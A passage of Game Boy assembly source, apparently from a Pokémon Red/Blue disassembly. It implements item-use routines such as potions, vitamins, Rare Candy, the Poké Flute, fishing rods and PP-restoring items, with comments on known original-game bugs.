.emptyParty ld a, [wWhichPokemon] push af ld a, [wcf91] push af ld a, USE_ITEM_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a ld a, $ff ld [wUpdateSpritesEnabled], a ld a, [wPseudoItemID] and a ; using Softboiled? jr z, .notUsingSoftboiled ; if using softboiled call GoBackToPartyMenu jr .getPartyMonDataAddress .emptyParty ld hl, .emptyPartyText xor a ld [wActionResultOrTookBattleTurn], a ; item use failed jp PrintText .emptyPartyText text "You don't have" line "any #MON!" prompt .notUsingSoftboiled call DisplayPartyMenu .getPartyMonDataAddress jp c, .canceledItemUse ld hl, wPartyMons ld bc, wPartyMon2 - wPartyMon1 ld a, [wWhichPokemon] call AddNTimes ld a, [wWhichPokemon] ld [wUsedItemOnWhichPokemon], a ld d, a ld a, [wcf91] ld e, a ld [wd0b5], a pop af ld [wcf91], a pop af ld [wWhichPokemon], a ld a, [wPseudoItemID] and a ; using Softboiled? jr z, .checkItemType ; if using softboiled ld a, [wWhichPokemon] cp d ; is the pokemon trying to use softboiled on itself? jr z, ItemUseMedicine ; if so, force another choice .checkItemType ld a, [wcf91] cp REVIVE jr nc, .healHP ; if it's a Revive or Max Revive cp FULL_HEAL jr z, .cureStatusAilment ; if it's a Full Heal cp HP_UP jp nc, .useVitamin ; if it's a vitamin or Rare Candy cp FULL_RESTORE jr nc, .healHP ; if it's a Full Restore or one of the potions ; fall through if it's one of the status-specific healing items .cureStatusAilment ld bc, wPartyMon1Status - wPartyMon1 add hl, bc ; hl now points to status ld a, [wcf91] lb bc, ANTIDOTE_MSG, 1 << PSN cp ANTIDOTE jr z, .checkMonStatus lb bc, BURN_HEAL_MSG, 1 << BRN cp BURN_HEAL jr z, .checkMonStatus lb bc, ICE_HEAL_MSG, 1 << FRZ cp ICE_HEAL jr z, .checkMonStatus lb bc, AWAKENING_MSG, SLP cp AWAKENING jr z, .checkMonStatus lb bc, PARALYZ_HEAL_MSG, 1 << PAR cp PARLYZ_HEAL jr z, .checkMonStatus lb bc, FULL_HEAL_MSG, $ff ; Full Heal .checkMonStatus ld a, [hl] ; pokemon's status and c ; does the pokemon have a status ailment the item can cure? jp z, .healingItemNoEffect ; if the pokemon has a status the item can heal xor a ld [hl], a ; remove the status ailment in the party data ld a, b ld [wPartyMenuTypeOrMessageID], a ; the message to display for the item used ld a, [wPlayerMonNumber] cp d ; is pokemon the item was used on active in battle? jp nz, .doneHealing ; if it is active in battle xor a ld [wBattleMonStatus], a ; remove the status ailment in the in-battle pokemon data push hl ld hl, wPlayerBattleStatus3 res BADLY_POISONED, [hl] ; heal Toxic status pop hl ld bc, wPartyMon1Stats - wPartyMon1Status add hl, bc ; hl now points to party stats ld de, wBattleMonStats ld bc, NUM_STATS * 2 call CopyData ; copy party stats to in-battle stat data predef DoubleOrHalveSelectedStats jp .doneHealing .healHP inc hl ; hl = address of current HP ld a, [hli] ld b, a ld [wHPBarOldHP+1], a ld a, [hl] ld c, a ld [wHPBarOldHP], a ; current HP stored at wHPBarOldHP (2 bytes, big-endian) or b jr nz, .notFainted .fainted ld a, [wcf91] cp REVIVE jr z, .updateInBattleFaintedData cp MAX_REVIVE jr z, .updateInBattleFaintedData jp .healingItemNoEffect .updateInBattleFaintedData ld a, [wIsInBattle] and a jr z, .compareCurrentHPToMaxHP push hl push de push bc ld a, [wUsedItemOnWhichPokemon] ld c, a ld hl, wPartyFoughtCurrentEnemyFlags ld b, FLAG_TEST predef FlagActionPredef ld a, c and a jr z, .next ld a, [wUsedItemOnWhichPokemon] ld c, a ld hl, wPartyGainExpFlags ld b, FLAG_SET predef FlagActionPredef .next pop bc pop de pop hl jr .compareCurrentHPToMaxHP .notFainted ld a, [wcf91] cp REVIVE jp z, .healingItemNoEffect cp MAX_REVIVE jp z, .healingItemNoEffect .compareCurrentHPToMaxHP push hl push bc ld bc, wPartyMon1MaxHP - (wPartyMon1HP + 1) add hl, bc ; hl now points to max HP pop bc ld a, [hli] cp b jr nz, .skipComparingLSB ; no need to compare the LSB's if the MSB's don't match ld a, [hl] cp c .skipComparingLSB pop hl jr nz, .notFullHP .fullHP ; if the pokemon's current HP equals its max HP ld a, [wcf91] cp FULL_RESTORE jp nz, .healingItemNoEffect inc hl inc hl ld a, [hld] ; status ailment and a ; does the pokemon have a status ailment? jp z, .healingItemNoEffect ld a, FULL_HEAL ld [wcf91], a dec hl dec hl dec hl jp .cureStatusAilment .notFullHP ; if the pokemon's current HP doesn't equal its max HP xor a ld [wLowHealthAlarm], a ;disable low health alarm ld [wChannelSoundIDs + Ch4], a push hl push de ld bc, wPartyMon1MaxHP - (wPartyMon1HP + 1) add hl, bc ; hl now points to max HP ld a, [hli] ld [wHPBarMaxHP+1], a ld a, [hl] ld [wHPBarMaxHP], a ; max HP stored at wHPBarMaxHP (2 bytes, big-endian) ld a, [wPseudoItemID] and a ; using Softboiled? jp z, .notUsingSoftboiled2 ; if using softboiled ld hl, wHPBarMaxHP ld a, [hli] push af ld a, [hli] push af ld a, [hli] push af ld a, [hl] push af ld hl, wPartyMon1MaxHP ld a, [wWhichPokemon] ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld a, [hli] ld [wHPBarMaxHP + 1], a ld [H_DIVIDEND], a ld a, [hl] ld [wHPBarMaxHP], a ld [H_DIVIDEND + 1], a ld a, 5 ld [H_DIVISOR], a ld b, 2 ; number of bytes call Divide ; get 1/5 of max HP of pokemon that used Softboiled ld bc, (wPartyMon1HP + 1) - (wPartyMon1MaxHP + 1) add hl, bc ; hl now points to LSB of current HP of pokemon that used Softboiled ; subtract 1/5 of max HP from current HP of pokemon that used Softboiled ld a, [H_QUOTIENT + 3] push af ld b, a ld a, [hl] ld [wHPBarOldHP], a sub b ld [hld], a ld [wHPBarNewHP], a ld a, [H_QUOTIENT + 2] ld b, a ld a, [hl] ld [wHPBarOldHP+1], a sbc b ld [hl], a ld [wHPBarNewHP+1], a coord hl, 4, 1 ld a, [wWhichPokemon] ld bc, 2 * SCREEN_WIDTH call AddNTimes ; calculate coordinates of HP bar of pokemon that used Softboiled ld a, SFX_HEAL_HP call PlaySoundWaitForCurrent ld a, [hFlags_0xFFF6] set 0, a ld [hFlags_0xFFF6], a ld a, $02 ld [wHPBarType], a predef UpdateHPBar2 ; animate HP bar decrease of pokemon that used Softboiled ld a, [hFlags_0xFFF6] res 0, a ld [hFlags_0xFFF6], a pop af ld b, a ; store heal amount (1/5 of max HP) ld hl, wHPBarOldHP + 1 pop af ld [hld], a pop af ld [hld], a pop af ld [hld], a pop af ld [hl], a jr .addHealAmount .notUsingSoftboiled2 ld a, [wcf91] cp SODA_POP ld b, 60 ; Soda Pop heal amount jr z, .addHealAmount ld b, 80 ; Lemonade heal amount jr nc, .addHealAmount cp FRESH_WATER ld b, 50 ; Fresh Water heal amount jr z, .addHealAmount cp SUPER_POTION ld b, 200 ; Hyper Potion heal amount jr c, .addHealAmount ld b, 50 ; Super Potion heal amount jr z, .addHealAmount ld b, 20 ; Potion heal amount .addHealAmount pop de pop hl ld a, [hl] add b ld [hld], a ld [wHPBarNewHP], a ld a, [hl] ld [wHPBarNewHP+1], a jr nc, .noCarry inc [hl] ld a, [hl] ld [wHPBarNewHP + 1], a .noCarry push de inc hl ld d, h ld e, l ; de now points to current HP ld hl, (wPartyMon1MaxHP + 1) - (wPartyMon1HP + 1) add hl, de ; hl now points to max HP ld a, [wcf91] cp REVIVE jr z, .setCurrentHPToHalfMaxHP ld a, [hld] ld b, a ld a, [de] sub b dec de ld b, [hl] ld a, [de] sbc b jr nc, .setCurrentHPToMaxHp ; if current HP exceeds max HP after healing ld a, [wcf91] cp HYPER_POTION jr c, .setCurrentHPToMaxHp ; if using a Full Restore or Max Potion cp MAX_REVIVE jr z, .setCurrentHPToMaxHp ; if using a Max Revive jr .updateInBattleData .setCurrentHPToHalfMaxHP dec hl dec de ld a, [hli] srl a ld [de], a ld [wHPBarNewHP+1], a ld a, [hl] rr a inc de ld [de], a ld [wHPBarNewHP], a dec de jr .doneHealingPartyHP .setCurrentHPToMaxHp ld a, [hli] ld [de], a ld [wHPBarNewHP+1], a inc de ld a, [hl] ld [de], a ld [wHPBarNewHP], a dec de .doneHealingPartyHP ; done updating the pokemon's current HP in the party data structure ld a, [wcf91] cp FULL_RESTORE jr nz, .updateInBattleData ld bc, wPartyMon1Status - (wPartyMon1MaxHP + 1) add hl, bc xor a ld [hl], a ; remove the status ailment in the party data .updateInBattleData ld h, d ld l, e pop de ld a, [wPlayerMonNumber] cp d ; is pokemon the item was used on active in battle? jr nz, .calculateHPBarCoords ; copy party HP to in-battle HP ld a, [hli] ld [wBattleMonHP], a ld a, [hld] ld [wBattleMonHP + 1], a ld a, [wcf91] cp FULL_RESTORE jr nz, .calculateHPBarCoords xor a ld [wBattleMonStatus], a ; remove the status ailment in the in-battle pokemon data .calculateHPBarCoords ld hl, wOAMBuffer + $90 ld bc, 2 * SCREEN_WIDTH inc d .calculateHPBarCoordsLoop add hl, bc dec d jr nz, .calculateHPBarCoordsLoop jr .doneHealing .healingItemNoEffect call ItemUseNoEffect jp .done .doneHealing ld a, [wPseudoItemID] and a ; using Softboiled? jr nz, .skipRemovingItem ; no item to remove if using Softboiled push hl call RemoveUsedItem pop hl .skipRemovingItem ld a, [wcf91] cp FULL_RESTORE jr c, .playStatusAilmentCuringSound cp FULL_HEAL jr z, .playStatusAilmentCuringSound ld a, SFX_HEAL_HP call PlaySoundWaitForCurrent ld a, [hFlags_0xFFF6] set 0, a ld [hFlags_0xFFF6], a ld a, $02 ld [wHPBarType], a predef UpdateHPBar2 ; animate the HP bar lengthening ld a, [hFlags_0xFFF6] res 0, a ld [hFlags_0xFFF6], a ld a, REVIVE_MSG ld [wPartyMenuTypeOrMessageID], a ld a, [wcf91] cp REVIVE jr z, .showHealingItemMessage cp MAX_REVIVE jr z, .showHealingItemMessage ld a, POTION_MSG ld [wPartyMenuTypeOrMessageID], a jr .showHealingItemMessage .playStatusAilmentCuringSound ld a, SFX_HEAL_AILMENT call PlaySoundWaitForCurrent .showHealingItemMessage xor a ld [H_AUTOBGTRANSFERENABLED], a call ClearScreen dec a ld [wUpdateSpritesEnabled], a call RedrawPartyMenu ; redraws the party menu and displays the message ld a, 1 ld [H_AUTOBGTRANSFERENABLED], a ld c, 50 call DelayFrames call WaitForTextScrollButtonPress jr .done .canceledItemUse xor a ld [wActionResultOrTookBattleTurn], a ; item use failed pop af pop af .done ld a, [wPseudoItemID] and a ; using Softboiled? ret nz ; if so, return call GBPalWhiteOut call z, RunDefaultPaletteCommand ld a, [wIsInBattle] and a ret nz jp ReloadMapData .useVitamin push hl ld a, [hl] ld [wd0b5], a ld [wd11e], a ld bc, wPartyMon1Level - wPartyMon1 add hl, bc ; hl now points to level ld a, [hl] ; a = level ld [wCurEnemyLVL], a ; store level call GetMonHeader push de ld a, d ld hl, wPartyMonNicks call GetPartyMonName pop de pop hl ld a, [wcf91] cp RARE_CANDY jp z, .useRareCandy push hl sub HP_UP add a ld bc, wPartyMon1HPExp - wPartyMon1 add hl, bc add l ld l, a jr nc, .noCarry2 inc h .noCarry2 ld a, 10 ld b, a ld a, [hl] ; a = MSB of stat experience of the appropriate stat cp 100 ; is there already at least 25600 (256 * 100) stat experience? jr nc, .vitaminNoEffect ; if so, vitamins can't add any more add b ; add 2560 (256 * 10) stat experience jr nc, .noCarry3 ; a carry should be impossible here, so this will always jump ld a, 255 .noCarry3 ld [hl], a pop hl call .recalculateStats ld hl, VitaminText ld a, [wcf91] sub HP_UP - 1 ld c, a .statNameLoop ; loop to get the address of the name of the stat the vitamin increases dec c jr z, .gotStatName .statNameInnerLoop ld a, [hli] ld b, a ld a, $50 cp b jr nz, .statNameInnerLoop jr .statNameLoop .gotStatName ld de, wcf4b ld bc, 10 call CopyData ; copy the stat's name to wcf4b ld a, SFX_HEAL_AILMENT call PlaySound ld hl, VitaminStatRoseText call PrintText jp RemoveUsedItem .vitaminNoEffect pop hl ld hl, VitaminNoEffectText call PrintText jp GBPalWhiteOut .recalculateStats ld bc, wPartyMon1Stats - wPartyMon1 add hl, bc ld d, h ld e, l ; de now points to stats ld bc, (wPartyMon1Exp + 2) - wPartyMon1Stats add hl, bc ; hl now points to LSB of experience ld b, 1 jp CalcStats ; recalculate stats .useRareCandy push hl ld bc, wPartyMon1Level - wPartyMon1 add hl, bc ; hl now points to level ld a, [hl] ; a = level cp MAX_LEVEL jr z, .vitaminNoEffect ; can't raise level above 100 inc a ld [hl], a ; store incremented level ld [wCurEnemyLVL], a push hl push de ld d, a callab CalcExperience ; calculate experience for next level and store it at $ff96 pop de pop hl ld bc, wPartyMon1Exp - wPartyMon1Level add hl, bc ; hl now points to MSB of experience ; update experience to minimum for new level ld a, [hExperience] ld [hli], a ld a, [hExperience + 1] ld [hli], a ld a, [hExperience + 2] ld [hl], a pop hl ld a, [wWhichPokemon] push af ld a, [wcf91] push af push de push hl ld bc, wPartyMon1MaxHP - wPartyMon1 add hl, bc ; hl now points to MSB of max HP ld a, [hli] ld b, a ld c, [hl] pop hl push bc push hl call .recalculateStats pop hl ld bc, (wPartyMon1MaxHP + 1) - wPartyMon1 add hl, bc ; hl now points to LSB of max HP pop bc ld a, [hld] sub c ld c, a ld a, [hl] sbc b ld b, a ; bc = the amount of max HP gained from leveling up ; add the amount gained to the current HP ld de, (wPartyMon1HP + 1) - wPartyMon1MaxHP add hl, de ; hl now points to LSB of current HP ld a, [hl] add c ld [hld], a ld a, [hl] adc b ld [hl], a ld a, RARE_CANDY_MSG ld [wPartyMenuTypeOrMessageID], a call RedrawPartyMenu pop de ld a, d ld [wWhichPokemon], a ld a, e ld [wd11e], a xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a call LoadMonData ld d, $01 callab PrintStatsBox ; display new stats text box call WaitForTextScrollButtonPress ; wait for button press xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a predef LearnMoveFromLevelUp ; learn level up move, if any xor a ld [wForceEvolution], a callab TryEvolvingMon ; evolve pokemon, if appropriate ld a, $01 ld [wUpdateSpritesEnabled], a pop af ld [wcf91], a pop af ld [wWhichPokemon], a jp RemoveUsedItem VitaminStatRoseText: TX_FAR _VitaminStatRoseText db "@" VitaminNoEffectText: TX_FAR _VitaminNoEffectText db "@" VitaminText: db "HEALTH@" db "ATTACK@" db "DEFENSE@" db "SPEED@" db "SPECIAL@" ItemUseBait: ld hl, ThrewBaitText call PrintText ld hl, wEnemyMonActualCatchRate ; catch rate srl [hl] ; halve catch rate ld a, BAIT_ANIM ld hl, wSafariBaitFactor ; bait factor ld de, wSafariEscapeFactor ; escape factor jr BaitRockCommon ItemUseRock: ld hl, ThrewRockText call PrintText ld hl, wEnemyMonActualCatchRate ; catch rate ld a, [hl] add a ; double catch rate jr nc, .noCarry ld a, $ff .noCarry ld [hl], a ld a, ROCK_ANIM ld hl, wSafariEscapeFactor ; escape factor ld de, wSafariBaitFactor ; bait factor BaitRockCommon: ld [wAnimationID], a xor a ld [wAnimationType], a ld [H_WHOSETURN], a ld [de], a ; zero escape factor (for bait), zero bait factor (for rock) .randomLoop ; loop until a random number less than 5 is generated call Random and 7 cp 5 jr nc, .randomLoop inc a ; increment the random number, giving a range from 1 to 5 inclusive ld b, a ld a, [hl] add b ; increase bait factor (for bait), increase escape factor (for rock) jr nc, .noCarry ld a, $ff .noCarry ld [hl], a predef MoveAnimation ; do animation ld c, 70 jp DelayFrames ThrewBaitText: TX_FAR _ThrewBaitText db "@" ThrewRockText: TX_FAR _ThrewRockText db "@" ; also used for Dig out-of-battle effect ItemUseEscapeRope: ld a, [wIsInBattle] and a jr nz, .notUsable ld a, [wCurMap] cp AGATHAS_ROOM jr z, .notUsable ld a, [wCurMapTileset] ld b, a ld hl, EscapeRopeTilesets .loop ld a, [hli] cp $ff jr z, .notUsable cp b jr nz, .loop ld hl, wd732 set 3, [hl] set 6, [hl] ld hl, wd72e res 4, [hl] ResetEvent EVENT_IN_SAFARI_ZONE xor a ld [wNumSafariBalls], a ld [wSafariZoneGateCurScript], a inc a ld [wEscapedFromBattle], a ld [wActionResultOrTookBattleTurn], a ; item used ld a, [wPseudoItemID] and a ; using Dig? ret nz ; if so, return call ItemUseReloadOverworldData ld c, 30 call DelayFrames jp RemoveUsedItem .notUsable jp ItemUseNotTime EscapeRopeTilesets: db FOREST, CEMETERY, CAVERN, FACILITY, INTERIOR db $ff ; terminator ItemUseRepel: ld b, 100 ItemUseRepelCommon: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld a, b ld [wRepelRemainingSteps], a jp PrintItemUseTextAndRemoveItem ; handles X Accuracy item ItemUseXAccuracy: ld a, [wIsInBattle] and a jp z, ItemUseNotTime ld hl, wPlayerBattleStatus2 set USING_X_ACCURACY, [hl] ; X Accuracy bit jp PrintItemUseTextAndRemoveItem ; This function is bugged and never works. It always jumps to ItemUseNotTime. ; The Card Key is handled in a different way. ItemUseCardKey: xor a ld [wUnusedD71F], a call GetTileAndCoordsInFrontOfPlayer ld a, [GetTileAndCoordsInFrontOfPlayer] cp $18 jr nz, .next0 ld hl, CardKeyTable1 jr .next1 .next0 cp $24 jr nz, .next2 ld hl, CardKeyTable2 jr .next1 .next2 cp $5e jp nz, ItemUseNotTime ld hl, CardKeyTable3 .next1 ld a, [wCurMap] ld b, a .loop ld a, [hli] cp $ff jp z, ItemUseNotTime cp b jr nz, .nextEntry1 ld a, [hli] cp d jr nz, .nextEntry2 ld a, [hli] cp e jr nz, .nextEntry3 ld a, [hl] ld [wUnusedD71F], a jr .done .nextEntry1 inc hl .nextEntry2 inc hl .nextEntry3 inc hl jr .loop .done ld hl, ItemUseText00 call PrintText ld hl, wd728 set 7, [hl] ret ; These tables are probably supposed to be door locations in Silph Co., ; but they are unused. ; The reason there are 3 tables is unknown. ; Format: ; 00: Map ID ; 01: Y ; 02: X ; 03: ID? CardKeyTable1: db SILPH_CO_2F,$04,$04,$00 db SILPH_CO_2F,$04,$05,$01 db SILPH_CO_4F,$0C,$04,$02 db SILPH_CO_4F,$0C,$05,$03 db SILPH_CO_7F,$06,$0A,$04 db SILPH_CO_7F,$06,$0B,$05 db SILPH_CO_9F,$04,$12,$06 db SILPH_CO_9F,$04,$13,$07 db SILPH_CO_10F,$08,$0A,$08 db SILPH_CO_10F,$08,$0B,$09 db $ff CardKeyTable2: db SILPH_CO_3F,$08,$09,$0A db SILPH_CO_3F,$09,$09,$0B db SILPH_CO_5F,$04,$07,$0C db SILPH_CO_5F,$05,$07,$0D db SILPH_CO_6F,$0C,$05,$0E db SILPH_CO_6F,$0D,$05,$0F db SILPH_CO_8F,$08,$07,$10 db SILPH_CO_8F,$09,$07,$11 db SILPH_CO_9F,$08,$03,$12 db SILPH_CO_9F,$09,$03,$13 db $ff CardKeyTable3: db SILPH_CO_11F,$08,$09,$14 db SILPH_CO_11F,$09,$09,$15 db $ff ItemUsePokedoll: ld a, [wIsInBattle] dec a jp nz, ItemUseNotTime ld a, $01 ld [wEscapedFromBattle], a jp PrintItemUseTextAndRemoveItem ItemUseGuardSpec: ld a, [wIsInBattle] and a jp z, ItemUseNotTime ld hl, wPlayerBattleStatus2 set PROTECTED_BY_MIST, [hl] ; Mist bit jp PrintItemUseTextAndRemoveItem ItemUseSuperRepel: ld b, 200 jp ItemUseRepelCommon ItemUseMaxRepel: ld b, 250 jp ItemUseRepelCommon ItemUseDireHit: ld a, [wIsInBattle] and a jp z, ItemUseNotTime ld hl, wPlayerBattleStatus2 set GETTING_PUMPED, [hl] ; Focus Energy bit jp PrintItemUseTextAndRemoveItem ItemUseXStat: ld a, [wIsInBattle] and a jr nz, .inBattle call ItemUseNotTime ld a, 2 ld [wActionResultOrTookBattleTurn], a ; item not used ret .inBattle ld hl, wPlayerMoveNum ld a, [hli] push af ; save [wPlayerMoveNum] ld a, [hl] push af ; save [wPlayerMoveEffect] push hl ld a, [wcf91] sub X_ATTACK - ATTACK_UP1_EFFECT ld [hl], a ; store player move effect call PrintItemUseTextAndRemoveItem ld a, XSTATITEM_ANIM ; X stat item animation ID ld [wPlayerMoveNum], a call LoadScreenTilesFromBuffer1 ; restore saved screen call Delay3 xor a ld [H_WHOSETURN], a ; set turn to player's turn callba StatModifierUpEffect ; do stat increase move pop hl pop af ld [hld], a ; restore [wPlayerMoveEffect] pop af ld [hl], a ; restore [wPlayerMoveNum] ret ItemUsePokeflute: ld a, [wIsInBattle] and a jr nz, .inBattle ; if not in battle call ItemUseReloadOverworldData ld a, [wCurMap] cp ROUTE_12 jr nz, .notRoute12 CheckEvent EVENT_BEAT_ROUTE12_SNORLAX jr nz, .noSnorlaxToWakeUp ; if the player hasn't beaten Route 12 Snorlax ld hl, Route12SnorlaxFluteCoords call ArePlayerCoordsInArray jr nc, .noSnorlaxToWakeUp ld hl, PlayedFluteHadEffectText call PrintText SetEvent EVENT_FIGHT_ROUTE12_SNORLAX ret .notRoute12 cp ROUTE_16 jr nz, .noSnorlaxToWakeUp CheckEvent EVENT_BEAT_ROUTE16_SNORLAX jr nz, .noSnorlaxToWakeUp ; if the player hasn't beaten Route 16 Snorlax ld hl, Route16SnorlaxFluteCoords call ArePlayerCoordsInArray jr nc, .noSnorlaxToWakeUp ld hl, PlayedFluteHadEffectText call PrintText SetEvent EVENT_FIGHT_ROUTE16_SNORLAX ret .noSnorlaxToWakeUp ld hl, PlayedFluteNoEffectText jp PrintText .inBattle xor a ld [wWereAnyMonsAsleep], a ld b, ~SLP & $ff ld hl, wPartyMon1Status call WakeUpEntireParty ld a, [wIsInBattle] dec a ; is it a trainer battle? jr z, .skipWakingUpEnemyParty ; if it's a trainer battle ld hl, wEnemyMon1Status call WakeUpEntireParty .skipWakingUpEnemyParty ld hl, wBattleMonStatus ld a, [hl] and b ; remove Sleep status ld [hl], a ld hl, wEnemyMonStatus ld a, [hl] and b ; remove Sleep status ld [hl], a call LoadScreenTilesFromBuffer2 ; restore saved screen ld a, [wWereAnyMonsAsleep] and a ; were any pokemon asleep before playing the flute? ld hl, PlayedFluteNoEffectText jp z, PrintText ; if no pokemon were asleep ; if some pokemon were asleep ld hl, PlayedFluteHadEffectText call PrintText ld a, [wLowHealthAlarm] and $80 jr nz, .skipMusic call WaitForSoundToFinish ; wait for sound to end callba Music_PokeFluteInBattle ; play in-battle pokeflute music .musicWaitLoop ; wait for music to finish playing ld a, [wChannelSoundIDs + Ch6] and a ; music off? jr nz, .musicWaitLoop .skipMusic ld hl, FluteWokeUpText jp PrintText ; wakes up all party pokemon ; INPUT: ; hl must point to status of first pokemon in party (player's or enemy's) ; b must equal ~SLP ; [wWereAnyMonsAsleep] should be initialized to 0 ; OUTPUT: ; [wWereAnyMonsAsleep]: set to 1 if any pokemon were asleep WakeUpEntireParty: ld de, 44 ld c, 6 .loop ld a, [hl] push af and SLP ; is pokemon asleep? jr z, .notAsleep ld a, 1 ld [wWereAnyMonsAsleep], a ; indicate that a pokemon had to be woken up .notAsleep pop af and b ; remove Sleep status ld [hl], a add hl, de dec c jr nz, .loop ret ; Format: ; 00: Y ; 01: X Route12SnorlaxFluteCoords: db 62,9 ; one space West of Snorlax db 61,10 ; one space North of Snorlax db 63,10 ; one space South of Snorlax db 62,11 ; one space East of Snorlax db $ff ; terminator ; Format: ; 00: Y ; 01: X Route16SnorlaxFluteCoords: db 10,27 ; one space East of Snorlax db 10,25 ; one space West of Snorlax db $ff ; terminator PlayedFluteNoEffectText: TX_FAR _PlayedFluteNoEffectText db "@" FluteWokeUpText: TX_FAR _FluteWokeUpText db "@" PlayedFluteHadEffectText: TX_FAR _PlayedFluteHadEffectText TX_BLINK TX_ASM ld a, [wIsInBattle] and a jr nz, .done ; play out-of-battle pokeflute music ld a, $ff call PlaySound ; turn off music ld a, SFX_POKEFLUTE ld c, BANK(SFX_Pokeflute) call PlayMusic .musicWaitLoop ; wait for music to finish playing ld a, [wChannelSoundIDs + Ch2] cp SFX_POKEFLUTE jr z, .musicWaitLoop call PlayDefaultMusic ; start playing normal music again .done jp TextScriptEnd ; end text ItemUseCoinCase: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld hl, CoinCaseNumCoinsText jp PrintText CoinCaseNumCoinsText: TX_FAR _CoinCaseNumCoinsText db "@" ItemUseOldRod: call FishingInit jp c, ItemUseNotTime lb bc, 5, MAGIKARP ld a, $1 ; set bite jr RodResponse ItemUseGoodRod: call FishingInit jp c, ItemUseNotTime .RandomLoop call Random srl a jr c, .SetBite and %11 cp 2 jr nc, .RandomLoop ; choose which monster appears ld hl, GoodRodMons add a ld c, a ld b, 0 add hl, bc ld b, [hl] inc hl ld c, [hl] and a .SetBite ld a, 0 rla xor 1 jr RodResponse INCLUDE "data/good_rod.asm" ItemUseSuperRod: call FishingInit jp c, ItemUseNotTime call ReadSuperRodData ld a, e RodResponse: ld [wRodResponse], a dec a ; is there a bite? jr nz, .next ; if yes, store level and species data ld a, 1 ld [wMoveMissed], a ld a, b ; level ld [wCurEnemyLVL], a ld a, c ; species ld [wCurOpponent], a .next ld hl, wWalkBikeSurfState ld a, [hl] ; store the value in a push af push hl ld [hl], 0 callba FishingAnim pop hl pop af ld [hl], a ret ; checks if fishing is possible and if so, runs initialization code common to all rods ; unsets carry if fishing is possible, sets carry if not FishingInit: ld a, [wIsInBattle] and a jr z, .notInBattle scf ; can't fish during battle ret .notInBattle call IsNextTileShoreOrWater ret c ld a, [wWalkBikeSurfState] cp 2 ; Surfing? jr z, .surfing call ItemUseReloadOverworldData ld hl, ItemUseText00 call PrintText ld a, SFX_HEAL_AILMENT call PlaySound ld c, 80 call DelayFrames and a ret .surfing scf ; can't fish when surfing ret ItemUseOaksParcel: jp ItemUseNotYoursToUse ItemUseItemfinder: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime call ItemUseReloadOverworldData callba HiddenItemNear ; check for hidden items ld hl, ItemfinderFoundNothingText jr nc, .printText ; if no hidden items ld c, 4 .loop ld a, SFX_HEALING_MACHINE call PlaySoundWaitForCurrent ld a, SFX_PURCHASE call PlaySoundWaitForCurrent dec c jr nz, .loop ld hl, ItemfinderFoundItemText .printText jp PrintText ItemfinderFoundItemText: TX_FAR _ItemfinderFoundItemText db "@" ItemfinderFoundNothingText: TX_FAR _ItemfinderFoundNothingText db "@" ItemUsePPUp: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ItemUsePPRestore: ld a, [wWhichPokemon] push af ld a, [wcf91] ld [wPPRestoreItem], a .chooseMon xor a ld [wUpdateSpritesEnabled], a ld a, USE_ITEM_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a call DisplayPartyMenu jr nc, .chooseMove jp .itemNotUsed .chooseMove ld a, [wPPRestoreItem] cp ELIXER jp nc, .useElixir ; if Elixir or Max Elixir ld a, $02 ld [wMoveMenuType], a ld hl, RaisePPWhichTechniqueText ld a, [wPPRestoreItem] cp ETHER ; is it a PP Up? jr c, .printWhichTechniqueMessage ; if so, print the raise PP message ld hl, RestorePPWhichTechniqueText ; otherwise, print the restore PP message .printWhichTechniqueMessage call PrintText xor a ld [wPlayerMoveListIndex], a callab MoveSelectionMenu ; move selection menu ld a, 0 ld [wPlayerMoveListIndex], a jr nz, .chooseMon ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 call GetSelectedMoveOffset push hl ld a, [hl] ld [wd11e], a call GetMoveName call CopyStringToCF4B ; copy name to wcf4b pop hl ld a, [wPPRestoreItem] cp ETHER jr nc, .useEther ; if Ether or Max Ether .usePPUp ld bc, wPartyMon1PP - wPartyMon1Moves add hl, bc ld a, [hl] ; move PP cp 3 << 6 ; have 3 PP Ups already been used? jr c, .PPNotMaxedOut ld hl, PPMaxedOutText call PrintText jr .chooseMove .PPNotMaxedOut ld a, [hl] add 1 << 6 ; increase PP Up count by 1 ld [hl], a ld a, 1 ; 1 PP Up used ld [wd11e], a call RestoreBonusPP ; add the bonus PP to current PP ld hl, PPIncreasedText call PrintText .done pop af ld [wWhichPokemon], a call GBPalWhiteOut call RunDefaultPaletteCommand jp RemoveUsedItem .afterRestoringPP ; after using a (Max) Ether/Elixir ld a, [wWhichPokemon] ld b, a ld a, [wPlayerMonNumber] cp b ; is the pokemon whose PP was restored active in battle? jr nz, .skipUpdatingInBattleData ld hl, wPartyMon1PP ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld de, wBattleMonPP ld bc, 4 call CopyData ; copy party data to in-battle data .skipUpdatingInBattleData ld a, SFX_HEAL_AILMENT call PlaySound ld hl, PPRestoredText call PrintText jr .done .useEther call .restorePP jr nz, .afterRestoringPP jp .noEffect ; unsets zero flag if PP was restored, sets zero flag if not ; however, this is bugged for Max Ethers and Max Elixirs (see below) .restorePP xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a call GetMaxPP ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 call GetSelectedMoveOffset ld bc, wPartyMon1PP - wPartyMon1Moves add hl, bc ; hl now points to move's PP ld a, [wMaxPP] ld b, a ld a, [wPPRestoreItem] cp MAX_ETHER jr z, .fullyRestorePP ld a, [hl] ; move PP and %00111111 ; lower 6 bit bits store current PP cp b ; does current PP equal max PP? ret z ; if so, return add 10 ; increase current PP by 10 ; b holds the max PP amount and b will hold the new PP amount. ; So, if the new amount meets or exceeds the max amount, ; cap the amount to the max amount by leaving b unchanged. ; Otherwise, store the new amount in b. cp b ; does the new amount meet or exceed the maximum? jr nc, .storeNewAmount ld b, a .storeNewAmount ld a, [hl] ; move PP and %11000000 ; PP Up counter bits add b ld [hl], a ret .fullyRestorePP ld a, [hl] ; move PP ; Note that this code has a bug. It doesn't mask out the upper two bits, which ; are used to count how many PP Ups have been used on the move. So, Max Ethers ; and Max Elixirs will not be detected as having no effect on a move with full ; 